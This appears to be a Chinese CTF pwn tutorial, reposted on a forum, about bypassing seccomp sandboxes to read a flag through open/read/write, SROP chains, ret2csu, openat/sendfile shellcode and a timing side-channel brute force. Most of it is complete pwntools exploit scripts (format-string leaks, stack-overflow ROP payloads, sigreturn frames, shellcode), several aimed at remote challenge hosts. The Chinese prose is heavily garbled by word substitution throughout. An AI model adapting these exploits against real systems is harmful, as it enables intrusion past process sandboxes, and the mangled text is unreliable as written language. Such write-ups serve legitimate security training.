沙箱装载一样平常是用prctl或seccomp函数装载,可以看看这两篇文章Linux prctl详解与历程重定名,Seccomp、BPF与容器安全我紧张讲讲绕过的方法及部门限定下的运用(反面也应该会讲讲原理与出题);
沙箱分为白箱(允许部门体系调用)和黑箱(克制部门体系调用)通过seccomp-tools工具利用seccomp-tools dump ./(对应文件名) ,检察,注意是要装载了沙箱才华用这个看出来,否则看不出来。
关于文件形貌符,正常0是键盘输入,1是屏幕输出,2是标准错误,2以上就是文件的。
一样平常orw就是利用open,read,write三个函数,实现打开flag,往内存写入flag,从内存读取flag的任务。利用orw紧张情况是开了沙箱禁用了体系调用,以是不能像之前一样getshell后直接cat flag了。而且ctf角逐也只必要拿到flag就可以了,以是orw就替system负担了拿到flag的任务,先看这三个函数的原型
- open :int open(const char *pathname, int flags); int open(const char *pathname, int flags,mode_t mode);可以望见有两个原型,不外现实上就是第二个原型,大概就是由于glibc提供了一个变参函数来处置惩罚我们输入的open,终极也会转化为第二个原型。不外我们读取flag不必要用到第三个参数,由于第三个参数是假如选择创建文件,那么要指定创建文件的权限,一样平常不会用这个。第一个参数是flag的路径,我们一样平常填./flag大概flag大概/flag,第二个是以什么情势打开,我们填0(只读情势就可以了)以是我们只必要调用出像open('./flag',0)就完成了open的任务
- read:read(int fd, void *buf, size_t count);第一个参数是文件形貌符,体现从哪输入,第二个参数是一个指针,指向我们要写入的地点,第三个参数是写入的巨细。一样平常我们在open的rax已经有了打开文件的文件形貌符,不外打rop链的时间不方便用,以是照旧遵照一样平常规律,一样平常3是新打开的文件形貌符以是我们调用出像read(3,addr,0x100)就算完成了read的任务
- write:write(int fd, const void *buf, size_t count);第一个参数是文件形貌符,体现从哪输出,第二个参数是一个指针,指向我们要输出的地点,第三个参数是输出的巨细。我们一样平常把第一个参数设置为1大概2,如许flag就会打印在屏幕上,以是我们只必要调用出像write(1,addr,0x100)就算完成了write的任务
orw的任务都完成了之后,我们的flag就出现在屏幕上了。下面我们看例题
PCTF2025的week2-sandbox_err
先checksec及seccomp-tools看一下
起首没有canary,但有pie掩护和full relro掩护,再看沙盒,第一个是查抄我们的架构是不是64位的,这个就会影响反面的特殊情况,第三条就是读取体系调用号。第四条就是检测体系调用号的巨细,这个也会影响我们反面特殊情况下的利用,第五个是长度检测,第六个是禁用shell,反面就不表明白。但注意,这里不是每个选项都开了沙盒的,肯定要选到开了沙盒的选项才华望见。接下往复ida看看
一个菜单步伐,选1给一个栈地点,选2给栈溢出,选3给一个16字节的格式化字符串机会,选四先装沙盒再打开shell(shell会被沙盒禁用,没用)。这里选3和1没有开沙盒,2和4开了。这里大方向上思绪有两个,第一个选择格式化字符串改选2后函数的返回地点(只管full relro了但我并不改got表)第二个选择格式化字符串走漏pie和libc基地点后打orw。这里我们看orw,这里除了o,rw都是三参数函数,意味着必要控制rdi,rsi,rdx但这里没有找到控制rdx的gadget,libc里也没有,那怎么办呢?这里又有两种方法
- 这里由于我们有libc基地点,以是可以找控制rax的gadget与syscall,然后就可以通过srop链实现orw
- 大概我们通过ret2csu实现控制rdx
ret2csu解法
脚本如下- from pwn import *
- import sys
- from ctypes import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- flag = 1
- if flag:
- p = remote('challenge.imxbt.cn',32084)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- def csu(rdi,rsi,rdx,got):
- pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
- return pay
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"Make your choice : \n")
- sl(b'3')
- ru(b"I believe in miracles.\n")
- sl(b'%21$pk%17$pko')
- leak=ru(b'o').strip().decode()
- pie,libcbase,c=leak.split('\n')[0].split('k')
- pie=int(pie,16)-0x160b
- print(hex(pie))
- csugo=pie+0x1690
- csuin=pie+0x16A6
- rdi=pie+0x16b3
- bss=pie+0x4060
- ru(b"Make your choice : \n")
- sl(b'2')
- ru(b"You chose getshell!\n")
- libcbase=int(libcbase,16)-0x2a1ca
- '''
- puts=pie+elf.sym['puts']
- put=pie+elf.got['puts']
- back=pie+0x15b3
- pay=0x68*b'b'+flat(rdi,put,puts,back)
- sd(pay)
- ru(b'congratulations!\n')
- libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
- print(hex(libcbase))
- #第二种泄露libc的方法
- '''
- print(hex(libcbase))
- read=pie+0x3FB0#这是read函数got表的地址
- openn=libcbase+libc.sym['open']
- write=libcbase+libc.sym['write']
- rcx=libcbase+0xa877e
- rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
- pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,bss,rsi,0,openn)
- pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)
- sd(pay)
- ru(b'congratulations!\n')
- pay=b'./flag\x00\x00'+p64(openn)+p64(write)
- sd(pay)
- ti()
复制代码 结果如图
不外这里不知道为什么文件形貌符是6,正常应该是3的,注意一下。
SROP链与orw
底子Linux常用体系调用号
实在我们的srop链也是可以完成orw的,但必要的空间比力大,下面我紧张讲怎么把这个链拼起来。好比之前那道srop的静态编译题,其时固然我也用了两个srop结构,不外有点太巧了,就是一个read然后再跳到read写入的地方实验,但假如要一连实验三个函数(orw)就欠好办了,下面我们看看一次read写入后直接实现orw的srop链。
一道64位的静态编译题
先看题

很明白的一题,这里我们用srop链实现orw,确定rsp的位置的时间就是要先写出框架,然后通过调试确定rsp的地点。脚本像如许
大概就是起首通过一个Sigreturn调用出read往bss段写入我们orw的SigreturnFrame结构,然后控制rsp指向第一个open的Sigreturn结构开始的地方(pop rax;ret;),接下来就是调试看剩下两个结构开始的地方了。- from pwn import *
- import sys
- context.log_level='debug'
- context.arch='amd64'
- flag = 0
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"where is my system_x64?\n")
- rax=0x46b9f8
- end=0x45bac5
- bss=0x6C1C60
- srop=SigreturnFrame()
- srop.rax=0
- srop.rdi=0
- srop.rsi=bss+0x400
- srop.rdx=0x400
- srop.rsp=bss+0x408
- srop.rip=end
- srop1=SigreturnFrame()
- srop1.rax=2
- srop1.rdi=bss+0x400
- srop1.rsi=0
- srop1.rsp=0
- srop1.rdx=0
- srop1.rip=end
- srop2=SigreturnFrame()
- srop2.rax=0
- srop2.rdi=3
- srop2.rsi=bss
- srop2.rdx=0x100
- srop2.rsp=0
- srop2.rip=end
- srop3=SigreturnFrame()
- srop3.rax=1
- srop3.rdi=1
- srop3.rsi=bss
- srop3.rdx=0x100
- srop3.rip=end
- pay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)
- sl(pay)
- pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
- dbg()
- sd(pay)
- ti()
-
复制代码 这里我们就必要详细动态调试看详细位置了,我们调试一下
这里我们可以望见第二个结构的开始位置是0x6c2178,第三个结构的开始位置同理可得是0x6c2288,以是我们就分别把第一,第二个结构的rsp填上第二,第三个结构的开始位置,如许我们的srop链就完成了。完备脚本如下- from pwn import *
- import sys
- context.log_level='debug'
- context.arch='amd64'
- flag = 0
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"where is my system_x64?\n")
- rax=0x46b9f8
- end=0x45bac5
- bss=0x6C1C60
- srop=SigreturnFrame()
- srop.rax=0
- srop.rdi=0
- srop.rsi=bss+0x400
- srop.rdx=0x400
- srop.rsp=bss+0x408
- srop.rip=end
- srop1=SigreturnFrame()
- srop1.rax=2
- srop1.rdi=bss+0x400
- srop1.rsi=0
- srop1.rsp=0x6c2178
- srop1.rdx=0
- srop1.rip=end
- srop2=SigreturnFrame()
- srop2.rax=0
- srop2.rdi=3
- srop2.rsi=bss
- srop2.rdx=0x100
- srop2.rsp=0x6c2288
- srop2.rip=end
- srop3=SigreturnFrame()
- srop3.rax=1
- srop3.rdi=1
- srop3.rsi=bss
- srop3.rdx=0x100
- srop3.rip=end
- pay=0x58*b'b'+flat(rax,0xf,end)+bytes(srop)
- sl(pay)
- pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
- dbg()
- sd(pay)
- ti()
复制代码 固然这里也不但仅可以用orw写,我们体系调用也有openat,sendfile,mmap,以及mprotect。
PCTF2025的week2-sandbox_err的SROP链解法
接下来我们继续写一下刚才的沙盒,用srop写也是一样,不外我们控制rax的gadget与syscall要在libc内里找(这个是能找到的,syscall可以gdb里用search -x 0f05c3找),另有一个要注意的就是这题开了pie掩护,不能直接用调试内里的谁人地点了,但是我们可以算隔断第一个pop rax;ret;的偏移。
脚本如下- from pwn import *
- import sys
- from ctypes import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- flag = 1
- if flag:
- p = remote('challenge.imxbt.cn',31611)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- def csu(rdi,rsi,rdx,got):
- pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
- return pay
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"Make your choice : \n")
- sl(b'3')
- ru(b"I believe in miracles.\n")
- sl(b'%21$pk%17$pko')
- leak=ru(b'o').strip().decode()
- pie,libcbase,c=leak.split('\n')[0].split('k')
- pie=int(pie,16)-0x160b
- print(hex(pie))
- csugo=pie+0x1690
- csuin=pie+0x16A6
- rdi=pie+0x16b3
- bss=pie+0x4060
- ru(b"Make your choice : \n")
- sl(b'2')
- ru(b"You chose getshell!\n")
- libcbase=int(libcbase,16)-0x2a1ca
- end=libcbase+0x98fb6
- rax=libcbase+0xdd237
- srop=SigreturnFrame()
- srop.rax=0
- srop.rdi=0
- srop.rsi=bss
- srop.rdx=0x400
- srop.rsp=bss+0x8
- srop.rip=end
- srop1=SigreturnFrame()
- srop1.rax=2
- srop1.rdi=bss
- srop1.rsi=0
- srop1.rsp=bss+0x118
- srop1.rdx=0
- srop1.rip=end
- srop2=SigreturnFrame()
- srop2.rax=0
- srop2.rdi=6
- srop2.rsi=bss
- srop2.rdx=0x100
- srop2.rsp=bss+0x118+0x110
- srop2.rip=end
- srop3=SigreturnFrame()
- srop3.rax=1
- srop3.rdi=1
- srop3.rsi=bss
- srop3.rdx=0x100
- srop3.rip=end
- '''
- puts=pie+elf.sym['puts']
- put=pie+elf.got['puts']
- back=pie+0x15b3
- pay=0x68*b'b'+flat(rdi,put,puts,back)
- sd(pay)
- ru(b'congratulations!\n')
- libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
- print(hex(libcbase))
- '''
- print(hex(libcbase))
- pay=0x68*b'b'+flat(rax,0xf,end)+bytes(srop)
- sd(pay)
- ru(b'congratulations!\n')
- pay=b'./flag\x00\x00'+flat(rax,0xf,end)+bytes(srop1)+flat(rax,0xf,end)+bytes(srop2)+flat(rax,0xf,end)+bytes(srop3)
- sd(pay)
- ti()
复制代码 结果如下
这两种都感觉可以吧,我个人现在感觉大概srop好用一点?紧张是它险些能控制全部寄存器了,而且srop链也不肯定要用到底,也可以用一半然后再用不在体系调用里的函数,感觉机动一点。
缺R:pread64或sendfile或mmap
sendflie在32位下的体系调用号为0xbb,64位下为0x28
sendfile函数的作用就是把一个文件的内容发送到另一个文件,但我们的屏幕输出也是一个文件,以是这个函数相称于集成了rw的任务。其函数原型为senfile(int out_fd,int in_fd,off_t* offset,size_t count)此中out_fd是输出文件的文件形貌符,in_fd是输入文件的文件形貌符,off_t* offset是从文件那里开始读取,size_t count是读取巨细。一样平常设置为sendflie(1,3,0,0x100)此中1是打印到屏幕,3是flag的形貌符(大部门情况是3,但不肯定),0是从文件开头开始读取,0x100是读取巨细(可以恣意设,但最好不要小于0x20)。由于他必要四个参数,而正常是没有控制四个参数的gadget的,以是一样平常假如是一样平常rop链的orw(除了srop)不会利用这个函数,一样平常在写shellcode时利用。
pread64跟read函数很像,多了第四个参数偏移量,感觉没那么稳固了。
mmap函数的原型如下mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);第一个参数是地点(必须是内存页的起始地点,地点后三位位000),第二个参数是巨细(要为0x1000的整数倍)第三给参数是给的权限,一样平常给1(可读),第四个参数是一个性子的标志,一样平常当read用就写0x11(共享映射及固定地点),第五个参数是文件形貌符不表明白(一样平常是3),末了一个是偏移,设0就好,一样平常更换orw的r就设置成mmap(addr,0x1000,1,0x11,3,0),不外这个函数要六个参数,险些不太大概有这么多好用的gadget,以是一样平常在写shellcode或srop里用。
下面我们看例题
BaseCTF2024新生赛orz!
先chekcsec
开了pie没开canary,接下来放ida看看
这里我们望见用mmap函数给我们分配了一段可读可写可实验的地点而且用指针变量buf吸取,看mmap的的四个参数是34,也就是32(0x20匿名映射,不会关联文件且内里内容被初始化为0)+2(0x2写时复制,不会把写的内容改到文件中)别的另有常用的就是16(0x10指定地点,由于我们写的地点不肯定是现实映射的位置,要思量很多因素,但用了这个标志的话假如能映射乐成,那映射的地点就肯定是我们输入的地点,欠好的就是假如我们给的地点无法映射就会直接报错)接下来是我们read函数往buf中写内容,反面是return回buf的地方实验。
也就是我们只必要写shellcode就可以了,接下来我们看沙盒
可以望见把orw全禁了,但我们可以写shellcode,以是我们o用openat,rw用sendfile就写完了(不外这个题好像长途有题目,我就打当地了)脚本如下- from pwn import *
- import sys
- context.log_level='debug'
- context.arch='amd64'
- flag = 0
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- if flag:
- p = remote('1')
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"Enter your shellcode:\n")
- pay=asm(shellcraft.openat(-100,'./flag'))+asm(shellcraft.sendfile(1,3,0,0x100))
- sd(pay)
- ti()
复制代码 结果如下
缺O:openat,利用x32 ABI或利用retfq调用32位open绕过
openat函数原型为openat(int dirfd, const char *pathname, int flags, mode_t mode);此中第一个是文件形貌符,体现相对路径的起始点,我们一样平常直接设置为-100(用补码体现负数0xffffffffffffff9c),这个的意思是当前目次下。第二个是要打开目次的文件名,第三个是打开的标志,末了一个是假如选择创建文件,那么要指定创建文件的权限,我们读取flag不消管后两个,只要设置成openat(-100, './flag\x00')就好固然内里flag也可以改成(./flag大概flag都可以)
openat在32位下体系调用号位0x127,64位下为0x101
x32 ABI比力简单就是在正常64位体系调用号后加上0x40000000就可以利用32位步伐的体系调用函数紧张在未检测体系调用号时利用,雷同下面如许的沙盒就是举行了检测了,不能用了。- 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
复制代码 retfq就是利用retf改变cs寄存器的值,让我们64位体系去以32位模式去实验函数,retf就相称于ret + pop cs(不外我还没找到题......有机访问到再增补例题,我现在汇编也不太好)
这里我们看刚才那题沙盒的csu解法用openat的脚本- from pwn import *
- import sys
- from ctypes import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- flag = 1
- if flag:
- p = remote('challenge.imxbt.cn',32084)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- def csu(rdi,rsi,rdx,got):
- pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
- return pay
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"Make your choice : \n")
- sl(b'3')
- ru(b"I believe in miracles.\n")
- sl(b'%21$pk%17$pko')
- leak=ru(b'o').strip().decode()
- pie,libcbase,c=leak.split('\n')[0].split('k')
- pie=int(pie,16)-0x160b
- print(hex(pie))
- csugo=pie+0x1690
- csuin=pie+0x16A6
- rdi=pie+0x16b3
- bss=pie+0x4060
- ru(b"Make your choice : \n")
- sl(b'2')
- ru(b"You chose getshell!\n")
- libcbase=int(libcbase,16)-0x2a1ca
- '''
- puts=pie+elf.sym['puts']
- put=pie+elf.got['puts']
- back=pie+0x15b3
- pay=0x68*b'b'+flat(rdi,put,puts,back)
- sd(pay)
- ru(b'congratulations!\n')
- libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
- print(hex(libcbase))
- '''
- print(hex(libcbase))
- read=pie+0x3FB0
- gets=libcbase+libc.sym['gets']
- end=libcbase+0x98fb6
- openn=libcbase+libc.sym['openat']
- write=libcbase+libc.sym['write']
- puts=libcbase+libc.sym['puts']
- rcx=libcbase+0xa877e
- rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
- rax=libcbase+0xdd237
- pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)
- pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(1,bss+0x18,0x100,bss+0x10)+p64(csugo)
- sd(pay)
- ru(b'congratulations!\n')
- pay=b'./flag\x00\x00'+p64(openn)+p64(write)
- sd(pay)
- ti()
复制代码 根本不消怎么改,就注意一下参数就可以,用srop链也同理,注意体系调用号及参数就行。
缺W:writev或puts或sendfile或侧信道爆破
writev跟write函数差不多,但是其第二个参数变成了一个二级指针,也就是说我要一个指针指向我想写入的地点才华读了(以是比力贫苦了,我要先往bss段里写入后一个bss段的地点,再用read以后一个bss段里写flag,末了把writev的第二个参数用前一个bss的地点才行),第三个参数也是变成了8字节的整数倍这个倒是影响不大(不外我实测下来感觉这个函数不是很好用)。
puts:巨大无需多言,乃至比write函数还好利用rop链调用,也比力稳固,缺点是不在体系调用内里,假如文件里没有puts必要走漏libc。
侧信道爆破:侧信道意思就是利用一些其他因素推断步伐运行的情况(时间,温度,声音等)对于我们长途角逐(ctf)中,好判定的就是时间。以是我们就是在or的底子上把flag与我们预设的字符表举行逐字节比力,假如比力准确我们可以预设一个死循环让步伐不停在运行,比力错误就直接退出,末了设置一个时间检测,假如高出肯定时间就记着这个字符。如许就可以实现逐字节爆破,不外这是可实验shellcode的情况,我们可以直接写指令,就像网上流传的shellcode及脚本如下
cl,al,dl是rcx,rax,rdx的低八位(只能储存一个字节)- mov r12, 0x67616c66 ; 将字符串 "flag" 的 ASCII 值加载到寄存器 r12 中(因为小端序所以是这样写的,倒过来读就是ascii码了)
- push r12 ; 将 r12 的值推送到栈上
- mov rdi, rsp ; 将栈上的地址赋给寄存器 rdi
- xor esi, esi ; 将 esi 寄存器清零
- xor edx, edx ; 将 edx 寄存器清零
- mov al, 2 ; 将系统调用号 2(open)加载到寄存器 al 中
- syscall ; 执行系统调用 open,打开文件名为 flag 的文件
- mov rdi, rax ; 将 open 返回的文件描述符赋给 rdi
- mov rsi, 0x10700 ; 将缓冲区地址加载到 rsi(缓冲区是用于存放 flag 内容)
- mov dl, 0x40 ; 将读取的字节数加载到 dl(64 字节)
- xor rax, rax ; 将 rax 寄存器清零
- syscall ; 执行系统调用 read,读取 flag 内容到缓冲区
- mov dl, byte ptr [rsi+{}] ; 将缓冲区中的某个字节加载到寄存器 dl
- mov cl, {} ; 将输入参数 char 加载到寄存器 cl
- cmp cl, dl ; 比较寄存器 cl 和 dl 的值
- jz loop ; 如果相等,跳转到 loop 标签
- mov al, 60 ; 将系统调用号 60(exit)加载到寄存器 al
- syscall ; 执行系统调用 exit
- loop:
- jmp loop ; 无限循环
- #这个代码片段中的 {} 部分是通过 format(dis,char) 动态插入的
复制代码 这两段泉源于侧信道爆破- flag = "" #初始化一个空的字符串来存储 flag。
- for i in range(len(flag),36): #从当前 flag 长度到长度 35 的范围内找到 flag 的字符
- sleep(1)
- log.success("flag : {}".format(flag)) #打印当前已知的 flag 内容。
- for j in range(0x20,0x80): #在 ASCII 可打印字符范围内进行循环。
- p = process('./pwn')
- try:
- exp(i,j)
- p.recvline(timeout=1) #在 1 秒内没有收到数据,将抛出一个超时异常。
- flag += chr(j)
- s('\n')
- log.success("{} pos : {} success".format(i,chr(j)))
- p.close()
- break #跳出当前的 for 循环,继续下一个长度的 flag 的爆破。
- except:
- p.close()
复制代码 假如没有shellcode实验区可以用mprotect,假如mprotect也不能用,就要用rop链版的侧信道爆破了,这个的原理是利用strcmp函数在比力雷同的时间会把rax设置为0,而在64位下体系调用0就是我们的read函数,如许就可以实现制止了,详细可以参考这篇文章侧信道攻击的一种新方式(纯ROP实现侧信道)-先知社区
sendfile:这个函数前面先容了,可以直接把rw的任务全完成了,把sendfile设置成像sendfile(1,3,0,0x100)就好。第二个文件形貌符大概会变,不肯定是3。第一个假如不给标准输出也可以用2(标准错误)
这里我们看刚才那题沙盒用puts的方法,脚本如下- from pwn import *
- import sys
- from ctypes import *
- context.log_level='debug'
- context.arch='amd64'
- elf=ELF('./pwn')
- libc = ELF('./libc.so.6')
- flag = 1
- if flag:
- p = remote('challenge.imxbt.cn',32084)
- else:
- p = process('./pwn')
- sa = lambda s,n : p.sendafter(s,n)
- sla = lambda s,n : p.sendlineafter(s,n)
- sl = lambda s : p.sendline(s)
- sd = lambda s : p.send(s)
- rc = lambda n : p.recv(n)
- ru = lambda s : p.recvuntil(s)
- ti = lambda : p.interactive()
- leak = lambda name,addr :log.success(name+"--->"+hex(addr))
- def csu(rdi,rsi,rdx,got):
- pay=p64(0)+p64(0)+p64(1)+p64(rdi)+p64(rsi)+p64(rdx)+p64(got)
- return pay
- def dbg():
- gdb.attach(p)
- pause()
- ru(b"Make your choice : \n")
- sl(b'3')
- ru(b"I believe in miracles.\n")
- sl(b'%21$pk%17$pko')
- leak=ru(b'o').strip().decode()
- pie,libcbase,c=leak.split('\n')[0].split('k')
- pie=int(pie,16)-0x160b
- print(hex(pie))
- csugo=pie+0x1690
- csuin=pie+0x16A6
- rdi=pie+0x16b3
- bss=pie+0x4060
- ru(b"Make your choice : \n")
- sl(b'2')
- ru(b"You chose getshell!\n")
- libcbase=int(libcbase,16)-0x2a1ca
- '''
- puts=pie+elf.sym['puts']
- put=pie+elf.got['puts']
- back=pie+0x15b3
- pay=0x68*b'b'+flat(rdi,put,puts,back)
- sd(pay)
- ru(b'congratulations!\n')
- libcbase=u64(rc(6).strip().ljust(8,b'\x00'))-libc.sym['puts']
- print(hex(libcbase))
- '''
- print(hex(libcbase))
- read=pie+0x3FB0
- end=libcbase+0x98fb6
- openn=libcbase+libc.sym['openat']
- puts=libcbase+libc.sym['puts']
- rcx=libcbase+0xa877e
- rsi=libcbase+next(libc.search(asm('pop rsi;ret;')))
- pay=0x68*b'b'+p64(csuin)+csu(0,bss,0x100,read)+p64(csugo)+csu(bss,0,0,bss+8)+flat(rdi,0xffffffffffffff9c,rsi,bss,openn)
- pay+=p64(csuin)+csu(6,bss+0x18,0x100,read)+p64(csugo)+csu(0,0,0,0)+flat(rdi,bss+0x18,puts)
- sd(pay)
- ru(b'congratulations!\n')
- pay=b'./flag\x00\x00'+p64(openn)
- sd(pay)
- ti()
复制代码 结果如下

这里另有挺多方法我还没运用,反面遇到题会逐步补上的。
免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金. |